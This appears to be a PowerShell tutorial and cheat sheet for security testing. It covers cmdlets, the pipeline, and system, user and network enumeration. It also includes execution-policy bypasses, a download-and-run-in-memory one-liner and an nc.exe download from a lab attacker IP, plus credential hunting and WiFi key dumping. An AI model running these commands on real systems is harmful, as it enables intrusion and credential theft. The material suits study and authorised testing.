PowerShell Introduction

Overview

PowerShell is a task automation framework built on .NET, combining a command-line shell with a scripting language. Unlike CMD, PowerShell operates on objects rather than text — every command returns structured data that can be filtered, sorted, and manipulated without parsing strings. For security professionals, PowerShell is both a powerful offensive tool (in-memory execution, AD enumeration, remote management) and a defensive asset (logging, detection, hardening). It ships with all modern Windows versions and is available cross-platform (PowerShell 7+ runs on Linux and macOS).

Key Concepts

Cmdlet Structure

PowerShell commands (cmdlets) follow a consistent Verb-Noun pattern:

Verb-Noun -Parameter Value

Get-Process                         # List all processes
Get-Service -Name "WinRM"           # Query specific service
Stop-Process -Id 1234               # Kill process by PID
Set-ExecutionPolicy Bypass          # Change execution policy (not a security boundary — see ExecutionPolicy section below)

Common verbs:

Verb      Purpose                    Example
--------  -------------------------  ----------------------------
Get       Retrieve data              Get-Process, Get-Service
Set       Modify data                Set-Item, Set-Content
New       Create something           New-Item, New-Object
Remove    Delete something           Remove-Item, Remove-Service
Start     Begin an action            Start-Process, Start-Service
Stop      End an action              Stop-Process, Stop-Service
Invoke    Execute something          Invoke-Command, Invoke-WebRequest
Test      Validate something         Test-Path, Test-Connection
Out       Send output                Out-File, Out-GridView
Export    Save to structured format  Export-Csv, Export-Clixml

The Help System

# Update help files (requires admin, internet)
Update-Help

# Get help for a cmdlet
Get-Help Get-Process

# Detailed help with examples
Get-Help Get-Process -Full
Get-Help Get-Process -Examples

# Find cmdlets by keyword
Get-Command *process*
Get-Command -Verb Get -Noun *service*

# List all available cmdlets
Get-Command -CommandType Cmdlet

# Get help for a parameter
Get-Help Get-Process -Parameter Name

Pipeline and Object Model

The pipeline passes objects (not text) between commands. Each object has properties and methods you can access directly.

# Pipe objects from one cmdlet to another
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10

# Filter objects
Get-Process | Where-Object { $_.CPU -gt 100 }

# Select specific properties
Get-Service | Select-Object Name, Status, StartType

# Format output as table or list
Get-Process | Format-Table Name, Id, CPU -AutoSize
Get-Service | Format-List *

# Count results
(Get-Process).Count

# Export to CSV
Get-Process | Export-Csv -Path C:\Temp\processes.csv -NoTypeInformation

# View object properties and methods
Get-Process | Get-Member

Pipeline operators:

Operator   Purpose                    Example
---------  -------------------------  ----------------------------------
|          Pipe output to next cmd    Get-Process | Stop-Process
>          Redirect to file           Get-Process > procs.txt
>>         Append to file             Get-Date >> log.txt
2>         Redirect errors            Get-Item bad 2> errors.txt

Variables and Data Types

# Assign variable
$target = "10.10.10.5"
$port = 445
$users = @("admin", "user1", "user2")

# String interpolation (double quotes expand variables)
Write-Output "Target: $target on port $port"

# Single quotes are literal (no expansion)
Write-Output 'Target: $target'    # prints: Target: $target

# Arrays
$hosts = @("10.10.10.1", "10.10.10.2", "10.10.10.3")
$hosts[0]                          # first element
$hosts += "10.10.10.4"            # append

# Hash tables
$creds = @{
    Username = "admin"
    Password = "P@ssw0rd"
    Domain   = "CORP"
}
$creds.Username                    # access by key

# Automatic variables
$_                                 # current pipeline object
$PSVersionTable                    # PowerShell version info
$env:USERNAME                      # environment variable
$env:COMPUTERNAME
$PROFILE                           # path to profile script

Comparison and Logical Operators

Operator   Purpose             Example
---------  ------------------  -----------------------------------
-eq        Equal               $x -eq 5
-ne        Not equal           $x -ne 0
-gt        Greater than        $x -gt 10
-lt        Less than           $x -lt 100
-ge        Greater or equal    $x -ge 1
-le        Less or equal       $x -le 50
-like      Wildcard match      $name -like "*admin*"
-match     Regex match         $str -match "pass\w+"
-contains  Array contains      $arr -contains "value"
-in        Value in array      "admin" -in $arr
-and       Logical AND         ($x -gt 1) -and ($x -lt 10)
-or        Logical OR          ($x -eq 1) -or ($x -eq 2)
-not       Logical NOT         -not (Test-Path C:\Temp)

System Enumeration

# System info
Get-ComputerInfo | Select-Object OsName, OsVersion, OsBuildNumber, CsDomain

# Running processes
Get-Process | Select-Object Id, ProcessName, Path | Sort-Object ProcessName

# Services
Get-Service | Where-Object { $_.Status -eq "Running" }
Get-CimInstance Win32_Service | Select-Object Name, StartName, PathName, State

# Installed software
# WARNING: Win32_Product triggers MSI reconfiguration of all installed packages when queried,
# causing event log noise, performance impact, and potential application disruption.
# Prefer querying the Uninstall registry key instead for enumeration:
#   Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select-Object DisplayName,DisplayVersion,Publisher
Get-CimInstance Win32_Product | Select-Object Name, Version, Vendor

# Installed hotfixes
Get-HotFix | Select-Object HotFixID, Description, InstalledOn

# Scheduled tasks
Get-ScheduledTask | Where-Object { $_.State -eq "Ready" } |
    Select-Object TaskName, TaskPath, State

# Drives
Get-PSDrive -PSProvider FileSystem

# Startup programs
Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location

User and Group Enumeration

# Current user
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name

# Current user SID
[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value

# Local users
Get-LocalUser | Select-Object Name, Enabled, LastLogon

# Local groups
Get-LocalGroup

# Members of Administrators
Get-LocalGroupMember -Group "Administrators"

# Check if current user is admin
([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

Network Enumeration

# IP configuration
Get-NetIPAddress | Select-Object InterfaceAlias, IPAddress, PrefixLength
Get-NetIPConfiguration

# DNS servers
Get-DnsClientServerAddress

# Active TCP connections
Get-NetTCPConnection | Select-Object LocalPort, RemoteAddress, RemotePort, State, OwningProcess

# Listening ports
Get-NetTCPConnection -State Listen | Select-Object LocalPort, OwningProcess

# Resolve port to process
Get-NetTCPConnection -State Listen |
    Select-Object LocalPort, @{N="Process";E={(Get-Process -Id $_.OwningProcess).ProcessName}}

# ARP table
Get-NetNeighbor

# Routing table
Get-NetRoute

# Firewall rules
Get-NetFirewallRule | Where-Object { $_.Enabled -eq "True" } |
    Select-Object DisplayName, Direction, Action

# DNS lookup
Resolve-DnsName example.com
Resolve-DnsName -Name example.com -Type MX

# Test connectivity (like ping)
Test-Connection 10.10.10.5 -Count 2

# Test port (like nc -zv)
Test-NetConnection 10.10.10.5 -Port 445

File Operations

# List files (equivalent of dir)
Get-ChildItem C:\Users\

# List recursively with filter
Get-ChildItem -Path C:\Users\ -Recurse -Filter "*.txt" -ErrorAction SilentlyContinue

# Search file contents (like findstr/grep)
Get-ChildItem -Path C:\Users\ -Recurse -Filter "*.config" |
    Select-String -Pattern "password" -CaseSensitive:$false

# Read file
Get-Content C:\Windows\System32\drivers\etc\hosts

# Write to file
"test content" | Set-Content C:\Temp\output.txt

# Append to file
"more content" | Add-Content C:\Temp\output.txt

# Check if path exists
Test-Path C:\Temp\output.txt

# File hashes
Get-FileHash C:\Windows\notepad.exe -Algorithm MD5
Get-FileHash C:\Windows\notepad.exe -Algorithm SHA256

# ACLs on file/directory
Get-Acl C:\Users\ | Format-List

Execution Policy

Execution policy controls which PowerShell scripts can run. It is a safety feature, not a security boundary — it can be bypassed in many ways.

# Check current policy
Get-ExecutionPolicy
Get-ExecutionPolicy -List

# Policy levels:
#   Restricted    — no scripts (default on Windows clients; NOT the default on Windows Server)
#   AllSigned     — only signed scripts
#   RemoteSigned  — local scripts OK, downloaded must be signed (default on Windows Server)
#   Unrestricted  — all scripts (prompt for downloaded)
#   Bypass        — nothing blocked, no warnings

# Set policy (requires admin for LocalMachine scope)
Set-ExecutionPolicy Bypass -Scope CurrentUser

Common bypasses (from CMD or restricted environments):

:: Execute script via bypass flag
powershell -ExecutionPolicy Bypass -File script.ps1

:: Execute command directly
powershell -c "Get-Process"

:: Encode command in Base64 (avoids special character issues)
powershell -EncodedCommand <base64-string>

:: Read and execute via pipeline
type script.ps1 | powershell -

:: Download and execute in memory (no file on disk)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.1/script.ps1')"

Remote Execution

PowerShell Remoting uses WinRM (Windows Remote Management) on ports 5985 (HTTP) and 5986 (HTTPS).

# Check if WinRM is running
Test-WSMan 10.10.10.5

# Interactive remote session
Enter-PSSession -ComputerName 10.10.10.5 -Credential DOMAIN\user

# Execute command on remote host
Invoke-Command -ComputerName 10.10.10.5 -Credential DOMAIN\user -ScriptBlock {
    Get-Process; Get-Service
}

# Execute on multiple hosts
Invoke-Command -ComputerName Server1,Server2,Server3 -ScriptBlock {
    hostname; whoami
}

# Copy file to remote host via PSSession
$session = New-PSSession -ComputerName 10.10.10.5 -Credential DOMAIN\user
Copy-Item -Path C:\local\file.exe -Destination C:\Temp\ -ToSession $session

File Downloads

# WebClient (simple download)
(New-Object Net.WebClient).DownloadFile("http://10.10.14.1/nc.exe", "C:\Temp\nc.exe")

# Download string (execute in memory)
IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.1/script.ps1")

# Invoke-WebRequest (more features, slower)
Invoke-WebRequest -Uri "http://10.10.14.1/nc.exe" -OutFile "C:\Temp\nc.exe"

# With proxy/credentials
Invoke-WebRequest -Uri "http://10.10.14.1/nc.exe" -OutFile "C:\Temp\nc.exe" -Proxy "http://proxy:8080"

Practical Examples

Quick Enumeration One-Liner

# Dump key info to file
$out = "C:\Temp\enum.txt"
"=== SYSTEM ===" | Out-File $out
Get-ComputerInfo | Select-Object OsName, CsDomain | Out-File $out -Append
"=== USERS ===" | Out-File $out -Append
Get-LocalUser | Out-File $out -Append
"=== ADMINS ===" | Out-File $out -Append
Get-LocalGroupMember Administrators | Out-File $out -Append
"=== NETWORK ===" | Out-File $out -Append
Get-NetIPAddress | Out-File $out -Append
"=== LISTENING ===" | Out-File $out -Append
Get-NetTCPConnection -State Listen | Out-File $out -Append

Credential Hunting

# Search for passwords in files
Get-ChildItem -Path C:\Users\ -Recurse -Include *.txt,*.xml,*.ini,*.config -ErrorAction SilentlyContinue |
    Select-String -Pattern "password|passwd|pwd|credential" -CaseSensitive:$false

# Check autologon registry
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
    Select-Object DefaultUserName, DefaultPassword, AutoAdminLogon

# Saved credentials
cmdkey /list

# WiFi passwords
(netsh wlan show profiles) | Select-String "All User" |
    ForEach-Object { netsh wlan show profile name=($_ -split ":")[1].Trim() key=clear }

References

Microsoft Documentation